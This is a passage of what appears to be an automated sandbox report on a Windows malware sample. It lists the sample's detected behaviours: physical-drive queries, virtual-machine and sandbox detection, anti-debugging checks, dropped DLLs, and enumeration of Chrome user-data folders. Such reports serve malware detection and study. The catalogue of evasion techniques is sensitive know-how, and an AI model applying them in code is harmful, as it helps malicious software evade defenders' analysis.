Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: wsprintfW,CreateFileW,_memset,DeviceIoControl,_memset,FindCloseChangeNotification, \\.\PhysicalDrive%d		0_2_1001DA70
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: wsprintfW,CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		0_2_1001D370
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: wsprintfW,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d		3_2_1001DA70
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: wsprintfW,CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		3_2_1001D370
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: _memset,wsprintfW,CreateFileW,DeviceIoControl,_memset,CloseHandle,CloseHandle, \\.\PhysicalDrive%d		3_2_1001D7E0

Hooking and other Techniques for Hiding and Protection:

Extensive use of GetProcAddress (often used to hide API calls)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_00445BD3 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00445BD3

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Windows\SysWOW64\msiexec.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Disables application error messsages (SetErrorMode)

Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\1612045890161.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_100204C0		0_2_100204C0
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_100204C0		3_2_100204C0

Uses ping.exe to sleep

Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Contains functionality to read device registry values (via SetupAPI)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_10019780 SetupDiGetDeviceRegistryPropertyA,GetLastError,_memset,SetupDiGetDeviceRegistryPropertyA,

0_2_10019780

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\dl_peer_id.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\download_engine.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\msvcp71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\zlib1.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\download\atl71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\xldl.dll			Jump to dropped file

May check if the current machine is a sandbox (GetTickCount - Sleep)

Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_100204C0		3_2_100204C0
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_100204C0		0_2_100204C0

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\fnhcdXEfus.exe TID: 5436	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe TID: 4928	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe TID: 3920	Thread sleep time: -30000s >= -30000s			Jump to behavior

Queries disk information (often used to detect virtual machines)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

File opened: PhysicalDrive0

Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Checks the free space of harddrives

Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_0042A5EF __EH_prolog3_GS,_memset,GetTempPathW,FindFirstFileW,CompareFileTime,DeleteFileW,FindNextFileW,		0_2_0042A5EF
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1001A170 FindFirstFileA,FindClose,		0_2_1001A170
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1001A170 FindFirstFileA,FindClose,		3_2_1001A170

Contains functionality to query system information

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_004594D0 GetModuleHandleW,GetProcAddress,GetSystemInfo,

0_2_004594D0

Enumerates the file system

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\			Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.271537033.0000000003EFD000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}High precision event timerSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}WAN Miniport (IKEv2)NetSWDWAN Miniport (IKEv2){4d36e972-e325-11ce-bfc1-08002be10318}Composite Bus EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Virtual Drive EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Storage Spaces ControllerSCSIAdapterROOT{4d36e97b-e325-11ce-bfc1-08002be10318}System CMOS/real time clockSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Kernel Debug Network AdapterNetROOTMicrosoft Kernel Debug Network Adapter{4d36e972-e325-11ce-bfc1-08002be10318}Standard PS/2 KeyboardKeyboardACPI{4d36e96b-e325-11ce-bfc1-08002be10318}
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284702540.0000000003F37000.00000004.00000001.sdmp	Binary or memory string: Microsoft Hyper-V Generation CounterSystemACPI
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.245376573.0000000002A41000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000003.247321967.0000000002DC1000.00000004.00000001.sdmp	Binary or memory string: NetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}High precision event timerSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}WAN Miniport (IKEv2)NetSWDWAN Miniport (IKEv2){4d36e972-e325-11ce-bfc1-08002be10318}Composite Bus EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Virtual Drive EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Storage Spaces ControllerSCSIAdapterROOT{4d36e97b-e325-11ce-bfc1-08002be10318}System CMOS/real time clockSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Kernel Debug Network AdapterNetROOTMicrosoft Kernel Debug Network Adapter{4d36e972-e325-11ce-bfc1-08002be10318}Standard PS/2 KeyboardKeyboardACPI{4d36e96b-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}Local Print QueuePrintQueueSWDMicrosoft Print to PDF{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.270931402.0000000003F13000.00000004.00000001.sdmp	Binary or memory string: Microsoft Hyper-V Generation Counter}V\
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.274136124.00000000007A8000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAWZ
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.270949659.0000000003EF1000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.270931402.0000000003F13000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.274971409.0000000002DED000.00000004.00000001.sdmp	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.245393677.0000000002A6D000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.274971409.0000000002DED000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}High precision event timerSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}WAN Miniport (IKEv2)NetSWDWAN Miniport (IKEv2){4d36e972-e325-11ce-bfc1-08002be10318}Composite Bus EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Virtual Drive EnumeratorSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Storage Spaces ControllerSCSIAdapterROOT{4d36e97b-e325-11ce-bfc1-08002be10318}System CMOS/real time clockSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Kernel Debug Network AdapterNetROOTMicrosoft Kernel Debug Network Adapter{4d36e972-e325-11ce-bfc1-08002be10318}Standard PS/2 KeyboardKeyboardACPI{4d36e96b-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}Local Print QueuePrintQueueSWDMicrosoft Print to PDF{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.365302511.00000000006E9000.00000004.00000020.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000003.261822382.0000000000799000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.271268505.0000000003EF7000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.273731431.000000000019B000.00000004.00000010.sdmp	Binary or memory string: VMware Virtual disk 2.0
Source: ecvB803.tmp.11.dr	Binary or memory string: https://arc.msn.com/v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20200930T150347Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=4f67defbf95d422b8052c59b06ee26b9&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=663703&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=663703&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.273731431.000000000019B000.00000004.00000010.sdmp	Binary or memory string: VMware
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.271268505.0000000003EF7000.00000004.00000001.sdmp	Binary or memory string: Motherboard resourcesSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft AC AdapterBatteryACPI{72631e54-78a4-11d0-bcf7-00aa00b7b32a}Intel(R) 82574L Gigabit Network ConnectionNetPCIIntel(R) 82574L Gigabit Network Connection{4d36e972-e325-11ce-bfc1-08002be10318}LSI Adapter, SAS 3000 series, 8-port with 1068SCSIAdapterPCI{4d36e97b-e325-11ce-bfc1-08002be10318}PCI-to-PCI BridgeSystemPCI{4d36e97d-e325-11ce-bfc1-08002be10318}Local Print QueuePrintQueueSWDMicrosoft XPS Document Writer{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDSend To OneNote 16{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Local Print QueuePrintQueueSWDRoot Print Queue{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}Volume ManagerSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}Generic Non-PnP MonitorMonitorDISPLAY{4d36e96e-e325-11ce-bfc1-08002be10318}WAN Miniport (PPPOE)NetSWDWAN Miniport (PPPOE){4d36e972-e325-11ce-bfc1-08002be10318}PCI BusSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPI{4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Basic Display DriverSystemROOT{4d36e97d-e325-11ce-bfc1-08002be10318}USB Input DeviceHIDClassUSB{745a17a0-74d3-11d0-b6fe-00a0c90f57da}VolumeVolumeSTORAGE{71a27cdd-812a-11d0-bec7-08002be2092f}USB Root Hub (USB 3.0)USBUSB{36fc9e60-c465-11cf-8056-444553540000}Generic software deviceSoftwareDeviceSWDMicrosoft RRAS Root Enumerator{62f9c741-b25a-46ce-b54c-9bccce08b6f2}WAN Miniport (PPTP)NetSWDWAN Miniport (PPTP){4d36e972-e325-11ce-bfc1-08002be10318}
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284726946.0000000003F64000.00000004.00000001.sdmp	Binary or memory string: {4d36e97d-e325-11ce-bfc1-08002be10318}Microsoft Hyper-V Generation CounterSystemACPIxu

Queries a list of all running processes

Source: C:\Users\user\AppData\Roaming\1612045890161.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_10019FF0 GetCurrentProcess,CheckRemoteDebuggerPresent,

0_2_10019FF0

Hides threads from debuggers

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Thread information set: HideFromDebugger

Jump to behavior

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Process queried: DebugObjectHandle			Jump to behavior
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Process queried: DebugFlags			Jump to behavior

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_0044D67E EncodePointer,EncodePointer,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_0044D67E

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_0044D67E EncodePointer,EncodePointer,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_0044D67E

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_00440314 __EH_prolog3_GS,LoadLibraryW,GetProcAddress,#17,

0_2_00440314

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_00446490 mov eax, dword ptr fs:[00000030h]		0_2_00446490
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10019DE0 mov eax, dword ptr fs:[00000030h]		0_2_10019DE0
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10019E13 mov eax, dword ptr fs:[00000030h]		0_2_10019E13
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10019E13 mov eax, dword ptr fs:[00000030h]		0_2_10019E13
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10019E70 mov eax, dword ptr fs:[00000030h]		0_2_10019E70
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10019E70 mov eax, dword ptr fs:[00000030h]		0_2_10019E70
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10019ED0 mov eax, dword ptr fs:[00000030h]		0_2_10019ED0
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10019DE0 mov eax, dword ptr fs:[00000030h]		3_2_10019DE0
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10019E13 mov eax, dword ptr fs:[00000030h]		3_2_10019E13
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10019E13 mov eax, dword ptr fs:[00000030h]		3_2_10019E13
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10019E70 mov eax, dword ptr fs:[00000030h]		3_2_10019E70
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10019E70 mov eax, dword ptr fs:[00000030h]		3_2_10019E70
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10019ED0 mov eax, dword ptr fs:[00000030h]		3_2_10019ED0

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

